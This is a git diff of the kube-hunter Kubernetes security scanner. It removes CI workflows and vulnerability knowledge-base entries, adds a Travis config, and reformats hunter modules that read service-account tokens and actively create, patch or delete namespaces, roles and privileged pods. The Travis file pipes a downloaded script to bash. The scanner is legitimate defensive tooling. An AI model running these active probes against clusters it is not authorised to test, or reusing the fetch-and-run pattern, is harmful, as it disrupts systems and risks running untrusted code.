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51 changed files with 219 additions and 2051 deletions

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@@ -1,67 +0,0 @@
# For most projects, this workflow file will not need changing; you simply need
# to commit it to your repository.
#
# You may wish to alter this file to override the set of languages analyzed,
# or to provide custom queries or build logic.
#
# ******** NOTE ********
# We have attempted to detect the languages in your repository. Please check
# the `language` matrix defined below to confirm you have the correct set of
# supported CodeQL languages.
#
name: "CodeQL"
on:
push:
branches: [ master ]
pull_request:
# The branches below must be a subset of the branches above
branches: [ master ]
schedule:
- cron: '16 3 * * 1'
jobs:
analyze:
name: Analyze
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
language: [ 'python' ]
# CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]
# Learn more:
# https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed
steps:
- name: Checkout repository
uses: actions/checkout@v2
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v1
with:
languages: ${{ matrix.language }}
# If you wish to specify custom queries, you can do so here or in a config file.
# By default, queries listed here will override any specified in a config file.
# Prefix the list here with "+" to use these queries and those in the config file.
# queries: ./path/to/local/query, your-org/your-repo/queries@main
# Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
# If this step fails, then you should remove it and run the build manually (see below)
- name: Autobuild
uses: github/codeql-action/autobuild@v1
# Command-line programs to run using the OS shell.
# 📚 https://git.io/JvXDl
# ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
# and modify them (or add more) to build your code if your project
# uses a compiled language
#- run: |
# make bootstrap
# make release
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v1

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@@ -1,12 +0,0 @@
name: Lint
on: [push, pull_request]
jobs:
build:
runs-on: ubuntu-20.04
steps:
- uses: actions/checkout@v2
- uses: actions/setup-python@v2
- uses: pre-commit/action@v2.0.0

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@@ -1,52 +0,0 @@
on:
push:
# Sequence of patterns matched against refs/tags
tags:
- 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10
name: Upload Release Asset
jobs:
build:
name: Upload Release Asset
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v2
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: '3.9'
- name: Install dependencies
run: |
python -m pip install -U pip
python -m pip install -r requirements-dev.txt
- name: Build project
shell: bash
run: |
make pyinstaller
- name: Create Release
id: create_release
uses: actions/create-release@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
tag_name: ${{ github.ref }}
release_name: Release ${{ github.ref }}
draft: false
prerelease: false
- name: Upload Release Asset
id: upload-release-asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }}
asset_path: ./dist/kube-hunter
asset_name: kube-hunter-linux-x86_64-${{ github.ref }}
asset_content_type: application/octet-stream

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@@ -1,54 +0,0 @@
name: Test
on: [push, pull_request]
env:
FORCE_COLOR: 1
jobs:
build:
runs-on: ${{ matrix.os }}
strategy:
fail-fast: false
matrix:
python-version: ["3.6", "3.7", "3.8", "3.9"]
os: [ubuntu-20.04, ubuntu-18.04, ubuntu-16.04]
steps:
- uses: actions/checkout@v2
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v2
with:
python-version: ${{ matrix.python-version }}
- name: Get pip cache dir
id: pip-cache
run: |
echo "::set-output name=dir::$(pip cache dir)"
- name: Cache
uses: actions/cache@v2
with:
path: ${{ steps.pip-cache.outputs.dir }}
key:
${{ matrix.os }}-${{ matrix.python-version }}-${{ hashFiles('requirements-dev.txt') }}
restore-keys: |
${{ matrix.os }}-${{ matrix.python-version }}-
- name: Install dependencies
run: |
python -m pip install -U pip
python -m pip install -U wheel
python -m pip install -r requirements.txt
python -m pip install -r requirements-dev.txt
- name: Test
shell: bash
run: |
make test
- name: Upload coverage
uses: codecov/codecov-action@v1
with:
name: ${{ matrix.os }} Python ${{ matrix.python-version }}

1
.gitignore vendored
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@@ -24,7 +24,6 @@ var/
*.egg
*.spec
.eggs
pip-wheel-metadata
# Directory Cache Files
.DS_Store

20
.travis.yml Normal file
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@@ -0,0 +1,20 @@
group: travis_latest
language: python
cache: pip
python:
- "3.6"
- "3.7"
- "3.8"
install:
- pip install -r requirements.txt
- pip install -r requirements-dev.txt
before_script:
- make lint-check
script:
- make test
after_success:
- bash <(curl -s https://codecov.io/bash)
notifications:
email:
on_success: change
on_failure: always

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@@ -16,14 +16,4 @@ RUN make deps
COPY . .
RUN make install
FROM python:3.8-alpine
RUN apk add --no-cache \
tcpdump \
ebtables && \
apk upgrade --no-cache
COPY --from=builder /usr/local/lib/python3.8/site-packages /usr/local/lib/python3.8/site-packages
COPY --from=builder /usr/local/bin/kube-hunter /usr/local/bin/kube-hunter
ENTRYPOINT ["kube-hunter"]

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@@ -1,6 +1,6 @@
![kube-hunter](https://github.com/aquasecurity/kube-hunter/blob/master/kube-hunter.png)
[![Build Status](https://github.com/aquasecurity/kube-hunter/workflows/Test/badge.svg)](https://github.com/aquasecurity/kube-hunter/actions)
[![Build Status](https://travis-ci.org/aquasecurity/kube-hunter.svg?branch=master)](https://travis-ci.org/aquasecurity/kube-hunter)
[![codecov](https://codecov.io/gh/aquasecurity/kube-hunter/branch/master/graph/badge.svg)](https://codecov.io/gh/aquasecurity/kube-hunter)
[![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black)
[![License](https://img.shields.io/github/license/aquasecurity/kube-hunter)](https://github.com/aquasecurity/kube-hunter/blob/master/LICENSE)
@@ -14,7 +14,7 @@ kube-hunter hunts for security weaknesses in Kubernetes clusters. The tool was d
**Explore vulnerabilities**: The kube-hunter knowledge base includes articles about discoverable vulnerabilities and issues. When kube-hunter reports an issue, it will show its VID (Vulnerability ID) so you can look it up in the KB at https://aquasecurity.github.io/kube-hunter/
**Contribute**: We welcome contributions, especially new hunter modules that perform additional tests. If you would like to develop your modules please read [Guidelines For Developing Your First kube-hunter Module](https://github.com/aquasecurity/kube-hunter/blob/master/CONTRIBUTING.md).
**Contribute**: We welcome contributions, especially new hunter modules that perform additional tests. If you would like to develop your modules please read [Guidelines For Developing Your First kube-hunter Module](kube_hunter/CONTRIBUTING.md).
[![kube-hunter demo video](https://github.com/aquasecurity/kube-hunter/blob/master/kube-hunter-screenshot.png)](https://youtu.be/s2-6rTkH8a8?t=57s)
@@ -34,7 +34,6 @@ Table of Contents
* [Prerequisites](#prerequisites)
* [Container](#container)
* [Pod](#pod)
* [Contribution](#contribution)
## Hunting
@@ -175,8 +174,5 @@ The example `job.yaml` file defines a Job that will run kube-hunter in a pod, us
* Find the pod name with `kubectl describe job kube-hunter`
* View the test results with `kubectl logs <pod name>`
## Contribution
To read the contribution guidelines, <a href="https://github.com/aquasecurity/kube-hunter/blob/master/CONTRIBUTING.md"> Click here </a>
## License
This repository is available under the [Apache License 2.0](https://github.com/aquasecurity/kube-hunter/blob/master/LICENSE).

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@@ -12,7 +12,7 @@ Kubernetes API was accessed with Pod Service Account or without Authentication (
## Remediation
Secure access to your Kubernetes API.
Secure acess to your Kubernetes API.
It is recommended to explicitly specify a Service Account for all of your workloads (`serviceAccountName` in `Pod.Spec`), and manage their permissions according to the least privilege principal.
@@ -21,4 +21,4 @@ Consider opting out automatic mounting of SA token using `automountServiceAccoun
## References
- [Configure Service Accounts for Pods](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)
- [Configure Service Accounts for Pods](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)

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@@ -1,40 +0,0 @@
---
vid: KHV051
title: Exposed Existing Privileged Containers Via Secure Kubelet Port
categories: [Access Risk]
---
# {{ page.vid }} - {{ page.title }}
## Issue description
The kubelet is configured to allow anonymous (unauthenticated) requests to its HTTPs API. This may expose certain information and capabilities to an attacker with access to the kubelet API.
A privileged container is given access to all devices on the host and can work at the kernel level. It is declared using the `Pod.spec.containers[].securityContext.privileged` attribute. This may be useful for infrastructure containers that perform setup work on the host, but is a dangerous attack vector.
Furthermore, if the kubelet **and** the API server authentication mechanisms are (mis)configured such that anonymous requests can execute commands via the API within the containers (specifically privileged ones), a malicious actor can leverage such capabilities to do way more damage in the cluster than expected: e.g. start/modify process on host.
## Remediation
Ensure kubelet is protected using `--anonymous-auth=false` kubelet flag. Allow only legitimate users using `--client-ca-file` or `--authentication-token-webhook` kubelet flags. This is usually done by the installer or cloud provider.
Minimize the use of privileged containers.
Use Pod Security Policies to enforce using `privileged: false` policy.
Review the RBAC permissions to Kubernetes API server for the anonymous and default service account, including bindings.
Ensure node(s) runs active filesystem monitoring.
Set `--insecure-port=0` and remove `--insecure-bind-address=0.0.0.0` in the Kubernetes API server config.
Remove `AlwaysAllow` from `--authorization-mode` in the Kubernetes API server config. Alternatively, set `--anonymous-auth=false` in the Kubernetes API server config; this will depend on the API server version running.
## References
- [Kubelet authentication/authorization](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)
- [Privileged mode for pod containers](https://kubernetes.io/docs/concepts/workloads/pods/pod/#privileged-mode-for-pod-containers)
- [Pod Security Policies - Privileged](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privileged)
- [Using RBAC Authorization](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)
- [KHV005 - Access to Kubernetes API]({{ site.baseurl }}{% link _kb/KHV005.md %})
- [KHV036 - Anonymous Authentication]({{ site.baseurl }}{% link _kb/KHV036.md %})

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@@ -1,23 +0,0 @@
---
vid: KHV052
title: Exposed Pods
categories: [Information Disclosure]
---
# {{ page.vid }} - {{ page.title }}
## Issue description
An attacker could view sensitive information about pods that are bound to a Node using the exposed /pods endpoint
This can be done either by accessing the readonly port (default 10255), or from the secure kubelet port (10250)
## Remediation
Ensure kubelet is protected using `--anonymous-auth=false` kubelet flag. Allow only legitimate users using `--client-ca-file` or `--authentication-token-webhook` kubelet flags. This is usually done by the installer or cloud provider.
Disable the readonly port by using `--read-only-port=0` kubelet flag.
## References
- [Kubelet configuration](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)
- [Kubelet authentication/authorization](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)

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@@ -8,7 +8,7 @@ spec:
containers:
- name: kube-hunter
image: aquasec/kube-hunter
command: ["kube-hunter"]
command: ["python", "kube-hunter.py"]
args: ["--pod"]
restartPolicy: Never
backoffLimit: 4

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@@ -18,7 +18,6 @@ config = Config(
cidr=args.cidr,
include_patched_versions=args.include_patched_versions,
interface=args.interface,
log_file=args.log_file,
mapping=args.mapping,
network_timeout=args.network_timeout,
pod=args.pod,
@@ -26,7 +25,7 @@ config = Config(
remote=args.remote,
statistics=args.statistics,
)
setup_logger(args.log, args.log_file)
setup_logger(args.log)
set_config(config)
# Running all other registered plugins before execution
@@ -73,13 +72,13 @@ def list_hunters():
print("\nPassive Hunters:\n----------------")
for hunter, docs in handler.passive_hunters.items():
name, doc = hunter.parse_docs(docs)
print(f"* {name}\n {doc}\n")
print("* {}\n {}\n".format(name, doc))
if config.active:
print("\n\nActive Hunters:\n---------------")
for hunter, docs in handler.active_hunters.items():
name, doc = hunter.parse_docs(docs)
print(f"* {name}\n {doc}\n")
print("* {}\n {}\n".format(name, doc))
hunt_started_lock = threading.Lock()

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@@ -4,7 +4,7 @@ from typing import Any, Optional
@dataclass
class Config:
"""Config is a configuration container.
""" Config is a configuration container.
It contains the following fields:
- active: Enable active hunters
- cidr: Network subnets to scan
@@ -13,7 +13,6 @@ class Config:
- interface: Interface scanning mode
- list_hunters: Print a list of existing hunters
- log_level: Log level
- log_file: Log File path
- mapping: Report only found components
- network_timeout: Timeout for network operations
- pod: From pod scanning mode
@@ -28,7 +27,6 @@ class Config:
dispatcher: Optional[Any] = None
include_patched_versions: bool = False
interface: bool = False
log_file: Optional[str] = None
mapping: bool = False
network_timeout: float = 5.0
pod: bool = False

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@@ -1,5 +1,6 @@
import logging
DEFAULT_LEVEL = logging.INFO
DEFAULT_LEVEL_NAME = logging.getLevelName(DEFAULT_LEVEL)
LOG_FORMAT = "%(asctime)s %(levelname)s %(name)s %(message)s"
@@ -9,7 +10,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.CRITICAL)
logging.getLogger("scapy.loading").setLevel(logging.CRITICAL)
def setup_logger(level_name, logfile):
def setup_logger(level_name):
# Remove any existing handlers
# Unnecessary in Python 3.8 since `logging.basicConfig` has `force` parameter
for h in logging.getLogger().handlers[:]:
@@ -21,9 +22,6 @@ def setup_logger(level_name, logfile):
else:
log_level = getattr(logging, level_name.upper(), None)
log_level = log_level if isinstance(log_level, int) else None
if logfile is None:
logging.basicConfig(level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
else:
logging.basicConfig(filename=logfile, level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
logging.basicConfig(level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
if not log_level:
logging.warning(f"Unknown log level '{level_name}', using {DEFAULT_LEVEL_NAME}")

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@@ -9,9 +9,7 @@ def parser_add_arguments(parser):
Contains initialization for all default arguments
"""
parser.add_argument(
"--list",
action="store_true",
help="Displays all tests in kubehunter (add --active flag to see active tests)",
"--list", action="store_true", help="Displays all tests in kubehunter (add --active flag to see active tests)",
)
parser.add_argument("--interface", action="store_true", help="Set hunting on all network interfaces")
@@ -21,9 +19,7 @@ def parser_add_arguments(parser):
parser.add_argument("--quick", action="store_true", help="Prefer quick scan (subnet 24)")
parser.add_argument(
"--include-patched-versions",
action="store_true",
help="Don't skip patched versions when scanning",
"--include-patched-versions", action="store_true", help="Don't skip patched versions when scanning",
)
parser.add_argument(
@@ -33,17 +29,11 @@ def parser_add_arguments(parser):
)
parser.add_argument(
"--mapping",
action="store_true",
help="Outputs only a mapping of the cluster's nodes",
"--mapping", action="store_true", help="Outputs only a mapping of the cluster's nodes",
)
parser.add_argument(
"--remote",
nargs="+",
metavar="HOST",
default=list(),
help="One or more remote ip/dns to hunt",
"--remote", nargs="+", metavar="HOST", default=list(), help="One or more remote ip/dns to hunt",
)
parser.add_argument("--active", action="store_true", help="Enables active hunting")
@@ -57,17 +47,7 @@ def parser_add_arguments(parser):
)
parser.add_argument(
"--log-file",
type=str,
default=None,
help="Path to a log file to output all logs to",
)
parser.add_argument(
"--report",
type=str,
default="plain",
help="Set report type, options are: plain, yaml, json",
"--report", type=str, default="plain", help="Set report type, options are: plain, yaml, json",
)
parser.add_argument(

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@@ -14,7 +14,7 @@ logger = logging.getLogger(__name__)
# Inherits Queue object, handles events asynchronously
class EventQueue(Queue):
def __init__(self, num_worker=10):
super().__init__()
super(EventQueue, self).__init__()
self.passive_hunters = dict()
self.active_hunters = dict()
self.all_hunters = dict()

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@@ -144,8 +144,7 @@ class NewHostEvent(Event):
logger.debug("Checking whether the cluster is deployed on azure's cloud")
# Leverage 3rd tool https://github.com/blrchen/AzureSpeed for Azure cloud ip detection
result = requests.get(
f"https://api.azurespeed.com/api/region?ipOrUrl={self.host}",
timeout=config.network_timeout,
f"https://api.azurespeed.com/api/region?ipOrUrl={self.host}", timeout=config.network_timeout,
).json()
return result["cloud"] or "NoCloud"
except requests.ConnectionError:
@@ -195,11 +194,7 @@ class K8sVersionDisclosure(Vulnerability, Event):
def __init__(self, version, from_endpoint, extra_info=""):
Vulnerability.__init__(
self,
KubernetesCluster,
"K8s Version Disclosure",
category=InformationDisclosure,
vid="KHV002",
self, KubernetesCluster, "K8s Version Disclosure", category=InformationDisclosure, vid="KHV002",
)
self.version = version
self.from_endpoint = from_endpoint

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@@ -5,7 +5,8 @@ import requests
from enum import Enum
from netaddr import IPNetwork, IPAddress, AddrFormatError
from netifaces import AF_INET, ifaddresses, interfaces, gateways
from netifaces import AF_INET, ifaddresses, interfaces
from scapy.all import ICMP, IP, Ether, srp1
from kube_hunter.conf import get_config
from kube_hunter.core.events import handler
@@ -36,7 +37,7 @@ class RunningAsPodEvent(Event):
try:
with open(f"/var/run/secrets/kubernetes.io/serviceaccount/{file}") as f:
return f.read()
except OSError:
except IOError:
pass
@@ -45,14 +46,10 @@ class AzureMetadataApi(Vulnerability, Event):
def __init__(self, cidr):
Vulnerability.__init__(
self,
Azure,
"Azure Metadata Exposure",
category=InformationDisclosure,
vid="KHV003",
self, Azure, "Azure Metadata Exposure", category=InformationDisclosure, vid="KHV003",
)
self.cidr = cidr
self.evidence = f"cidr: {cidr}"
self.evidence = "cidr: {}".format(cidr)
class HostScanEvent(Event):
@@ -108,7 +105,7 @@ class FromPodHostDiscovery(Discovery):
if self.is_azure_pod():
subnets, cloud = self.azure_metadata_discovery()
else:
subnets = self.gateway_discovery()
subnets = self.traceroute_discovery()
should_scan_apiserver = False
if self.event.kubeservicehost:
@@ -140,9 +137,12 @@ class FromPodHostDiscovery(Discovery):
return False
# for pod scanning
def gateway_discovery(self):
""" Retrieving default gateway of pod, which is usually also a contact point with the host """
return [[gateways()["default"][AF_INET][0], "24"]]
def traceroute_discovery(self):
config = get_config()
node_internal_ip = srp1(
Ether() / IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout,
)[IP].src
return [[node_internal_ip, "24"]]
# querying azure's interface metadata api | works only from a pod
def azure_metadata_discovery(self):

View File

@@ -16,11 +16,7 @@ class AzureSpnExposure(Vulnerability, Event):
def __init__(self, container):
Vulnerability.__init__(
self,
Azure,
"Azure SPN Exposure",
category=IdentityTheft,
vid="KHV004",
self, Azure, "Azure SPN Exposure", category=IdentityTheft, vid="KHV004",
)
self.container = container
@@ -46,16 +42,11 @@ class AzureSpnHunter(Hunter):
logger.debug("failed getting pod info")
else:
pods_data = r.json().get("items", [])
suspicious_volume_names = []
for pod_data in pods_data:
for volume in pod_data["spec"].get("volumes", []):
if volume.get("hostPath"):
path = volume["hostPath"]["path"]
if "/etc/kubernetes/azure.json".startswith(path):
suspicious_volume_names.append(volume["name"])
for container in pod_data["spec"]["containers"]:
for mount in container.get("volumeMounts", []):
if mount["name"] in suspicious_volume_names:
for mount in container["volumeMounts"]:
path = mount["mountPath"]
if "/etc/kubernetes/azure.json".startswith(path):
return {
"name": container["name"],
"pod": pod_data["metadata"]["name"],

View File

@@ -29,11 +29,7 @@ class ServerApiAccess(Vulnerability, Event):
name = "Unauthenticated access to API"
category = UnauthenticatedAccess
Vulnerability.__init__(
self,
KubernetesCluster,
name=name,
category=category,
vid="KHV005",
self, KubernetesCluster, name=name, category=category, vid="KHV005",
)
self.evidence = evidence
@@ -46,30 +42,19 @@ class ServerApiHTTPAccess(Vulnerability, Event):
name = "Insecure (HTTP) access to API"
category = UnauthenticatedAccess
Vulnerability.__init__(
self,
KubernetesCluster,
name=name,
category=category,
vid="KHV006",
self, KubernetesCluster, name=name, category=category, vid="KHV006",
)
self.evidence = evidence
class ApiInfoDisclosure(Vulnerability, Event):
"""Information Disclosure depending upon RBAC permissions and Kube-Cluster Setup"""
def __init__(self, evidence, using_token, name):
category = InformationDisclosure
if using_token:
name += " using default service account token"
name += " using service account token"
else:
name += " as anonymous user"
Vulnerability.__init__(
self,
KubernetesCluster,
name=name,
category=category,
vid="KHV007",
self, KubernetesCluster, name=name, category=InformationDisclosure, vid="KHV007",
)
self.evidence = evidence
@@ -104,14 +89,12 @@ class ListClusterRoles(ApiInfoDisclosure):
class CreateANamespace(Vulnerability, Event):
"""Creating a namespace might give an attacker an area with default (exploitable) permissions to run pods in."""
""" Creating a namespace might give an attacker an area with default (exploitable) permissions to run pods in.
"""
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Created a namespace",
category=AccessRisk,
self, KubernetesCluster, name="Created a namespace", category=AccessRisk,
)
self.evidence = evidence
@@ -122,17 +105,14 @@ class DeleteANamespace(Vulnerability, Event):
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Delete a namespace",
category=AccessRisk,
self, KubernetesCluster, name="Delete a namespace", category=AccessRisk,
)
self.evidence = evidence
class CreateARole(Vulnerability, Event):
"""Creating a role might give an attacker the option to harm the normal behavior of newly created pods
within the specified namespaces.
""" Creating a role might give an attacker the option to harm the normal behavior of newly created pods
within the specified namespaces.
"""
def __init__(self, evidence):
@@ -141,46 +121,37 @@ class CreateARole(Vulnerability, Event):
class CreateAClusterRole(Vulnerability, Event):
"""Creating a cluster role might give an attacker the option to harm the normal behavior of newly created pods
across the whole cluster
""" Creating a cluster role might give an attacker the option to harm the normal behavior of newly created pods
across the whole cluster
"""
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Created a cluster role",
category=AccessRisk,
self, KubernetesCluster, name="Created a cluster role", category=AccessRisk,
)
self.evidence = evidence
class PatchARole(Vulnerability, Event):
"""Patching a role might give an attacker the option to create new pods with custom roles within the
""" Patching a role might give an attacker the option to create new pods with custom roles within the
specific role's namespace scope
"""
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Patched a role",
category=AccessRisk,
self, KubernetesCluster, name="Patched a role", category=AccessRisk,
)
self.evidence = evidence
class PatchAClusterRole(Vulnerability, Event):
"""Patching a cluster role might give an attacker the option to create new pods with custom roles within the whole
""" Patching a cluster role might give an attacker the option to create new pods with custom roles within the whole
cluster scope.
"""
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Patched a cluster role",
category=AccessRisk,
self, KubernetesCluster, name="Patched a cluster role", category=AccessRisk,
)
self.evidence = evidence
@@ -190,10 +161,7 @@ class DeleteARole(Vulnerability, Event):
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Deleted a role",
category=AccessRisk,
self, KubernetesCluster, name="Deleted a role", category=AccessRisk,
)
self.evidence = evidence
@@ -203,10 +171,7 @@ class DeleteAClusterRole(Vulnerability, Event):
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Deleted a cluster role",
category=AccessRisk,
self, KubernetesCluster, name="Deleted a cluster role", category=AccessRisk,
)
self.evidence = evidence
@@ -216,10 +181,7 @@ class CreateAPod(Vulnerability, Event):
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Created A Pod",
category=AccessRisk,
self, KubernetesCluster, name="Created A Pod", category=AccessRisk,
)
self.evidence = evidence
@@ -229,10 +191,7 @@ class CreateAPrivilegedPod(Vulnerability, Event):
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Created A PRIVILEGED Pod",
category=AccessRisk,
self, KubernetesCluster, name="Created A PRIVILEGED Pod", category=AccessRisk,
)
self.evidence = evidence
@@ -242,10 +201,7 @@ class PatchAPod(Vulnerability, Event):
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Patched A Pod",
category=AccessRisk,
self, KubernetesCluster, name="Patched A Pod", category=AccessRisk,
)
self.evidence = evidence
@@ -255,10 +211,7 @@ class DeleteAPod(Vulnerability, Event):
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Deleted A Pod",
category=AccessRisk,
self, KubernetesCluster, name="Deleted A Pod", category=AccessRisk,
)
self.evidence = evidence
@@ -272,7 +225,7 @@ class ApiServerPassiveHunterFinished(Event):
# If we have a service account token we'll also trigger AccessApiServerWithToken below
@handler.subscribe(ApiServer)
class AccessApiServer(Hunter):
"""API Server Hunter
""" API Server Hunter
Checks if API server is accessible
"""
@@ -315,10 +268,7 @@ class AccessApiServer(Hunter):
try:
if not namespace:
r = requests.get(
f"{self.path}/api/v1/pods",
headers=self.headers,
verify=False,
timeout=config.network_timeout,
f"{self.path}/api/v1/pods", headers=self.headers, verify=False, timeout=config.network_timeout,
)
else:
r = requests.get(
@@ -346,7 +296,7 @@ class AccessApiServer(Hunter):
else:
self.publish_event(ServerApiAccess(api, self.with_token))
namespaces = self.get_items(f"{self.path}/api/v1/namespaces")
namespaces = self.get_items("{path}/api/v1/namespaces".format(path=self.path))
if namespaces:
self.publish_event(ListNamespaces(namespaces, self.with_token))
@@ -369,12 +319,12 @@ class AccessApiServer(Hunter):
@handler.subscribe(ApiServer, predicate=lambda x: x.auth_token)
class AccessApiServerWithToken(AccessApiServer):
"""API Server Hunter
""" API Server Hunter
Accessing the API server using the service account token obtained from a compromised pod
"""
def __init__(self, event):
super().__init__(event)
super(AccessApiServerWithToken, self).__init__(event)
assert self.event.auth_token
self.headers = {"Authorization": f"Bearer {self.event.auth_token}"}
self.category = InformationDisclosure
@@ -461,8 +411,7 @@ class AccessApiServerActive(ActiveHunter):
def patch_a_pod(self, namespace, pod_name):
data = [{"op": "add", "path": "/hello", "value": ["world"]}]
return self.patch_item(
path=f"{self.path}/api/v1/namespaces/{namespace}/pods/{pod_name}",
data=json.dumps(data),
path=f"{self.path}/api/v1/namespaces/{namespace}/pods/{pod_name}", data=json.dumps(data),
)
def create_namespace(self):
@@ -489,8 +438,7 @@ class AccessApiServerActive(ActiveHunter):
"rules": [{"apiGroups": [""], "resources": ["pods"], "verbs": ["get", "watch", "list"]}],
}
return self.create_item(
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/namespaces/{namespace}/roles",
data=json.dumps(role),
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/namespaces/{namespace}/roles", data=json.dumps(role),
)
def create_a_cluster_role(self):
@@ -502,8 +450,7 @@ class AccessApiServerActive(ActiveHunter):
"rules": [{"apiGroups": [""], "resources": ["pods"], "verbs": ["get", "watch", "list"]}],
}
return self.create_item(
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles",
data=json.dumps(cluster_role),
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles", data=json.dumps(cluster_role),
)
def delete_a_role(self, namespace, name):
@@ -530,8 +477,7 @@ class AccessApiServerActive(ActiveHunter):
def patch_a_cluster_role(self, cluster_role):
data = [{"op": "add", "path": "/hello", "value": ["world"]}]
return self.patch_item(
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles/{cluster_role}",
data=json.dumps(data),
path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles/{cluster_role}", data=json.dumps(data),
)
def execute(self):

View File

@@ -17,11 +17,7 @@ class PossibleArpSpoofing(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
KubernetesCluster,
"Possible Arp Spoof",
category=IdentityTheft,
vid="KHV020",
self, KubernetesCluster, "Possible Arp Spoof", category=IdentityTheft, vid="KHV020",
)
@@ -43,7 +39,7 @@ class ArpSpoofHunter(ActiveHunter):
def detect_l3_on_host(self, arp_responses):
""" returns True for an existence of an L3 network plugin """
logger.debug("Attempting to detect L3 network plugin using ARP")
unique_macs = list({response[ARP].hwsrc for _, response in arp_responses})
unique_macs = list(set(response[ARP].hwsrc for _, response in arp_responses))
# if LAN addresses not unique
if len(unique_macs) == 1:
@@ -59,9 +55,7 @@ class ArpSpoofHunter(ActiveHunter):
config = get_config()
self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)[IP].dst
arp_responses, _ = srp(
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"),
timeout=config.network_timeout,
verbose=0,
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"), timeout=config.network_timeout, verbose=0,
)
# arp enabled on cluster and more than one pod on node

View File

@@ -17,10 +17,7 @@ class CapNetRawEnabled(Event, Vulnerability):
def __init__(self):
Vulnerability.__init__(
self,
KubernetesCluster,
name="CAP_NET_RAW Enabled",
category=AccessRisk,
self, KubernetesCluster, name="CAP_NET_RAW Enabled", category=AccessRisk,
)

View File

@@ -8,24 +8,18 @@ from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Vulnerability, Event, Service
logger = logging.getLogger(__name__)
email_pattern = re.compile(rb"([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)")
email_pattern = re.compile(rb"([a-z0-9]+@[a-z0-9]+\.[a-z0-9]+)")
class CertificateEmail(Vulnerability, Event):
"""The Kubernetes API Server advertises a public certificate for TLS.
This certificate includes an email address, that may provide additional information for an attacker on your
organization, or be abused for further email based attacks."""
"""Certificate includes an email address"""
def __init__(self, email):
Vulnerability.__init__(
self,
KubernetesCluster,
"Certificate Includes Email Address",
category=InformationDisclosure,
vid="KHV021",
self, KubernetesCluster, "Certificate Includes Email Address", category=InformationDisclosure, vid="KHV021",
)
self.email = email
self.evidence = f"email: {self.email}"
self.evidence = "email: {}".format(self.email)
@handler.subscribe(Service)
@@ -48,7 +42,7 @@ class CertificateDiscovery(Hunter):
self.examine_certificate(cert)
def examine_certificate(self, cert):
c = cert.strip(ssl.PEM_HEADER).strip("\n").strip(ssl.PEM_FOOTER).strip("\n")
c = cert.strip(ssl.PEM_HEADER).strip(ssl.PEM_FOOTER)
certdata = base64.b64decode(c)
emails = re.findall(email_pattern, certdata)
for email in emails:

View File

@@ -33,7 +33,7 @@ class ServerApiVersionEndPointAccessPE(Vulnerability, Event):
class ServerApiVersionEndPointAccessDos(Vulnerability, Event):
"""Node not patched for CVE-2019-1002100. Depending on your RBAC settings,
a crafted json-patch could cause a Denial of Service."""
a crafted json-patch could cause a Denial of Service."""
def __init__(self, evidence):
Vulnerability.__init__(
@@ -52,11 +52,7 @@ class PingFloodHttp2Implementation(Vulnerability, Event):
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Possible Ping Flood Attack",
category=DenialOfService,
vid="KHV024",
self, KubernetesCluster, name="Possible Ping Flood Attack", category=DenialOfService, vid="KHV024",
)
self.evidence = evidence
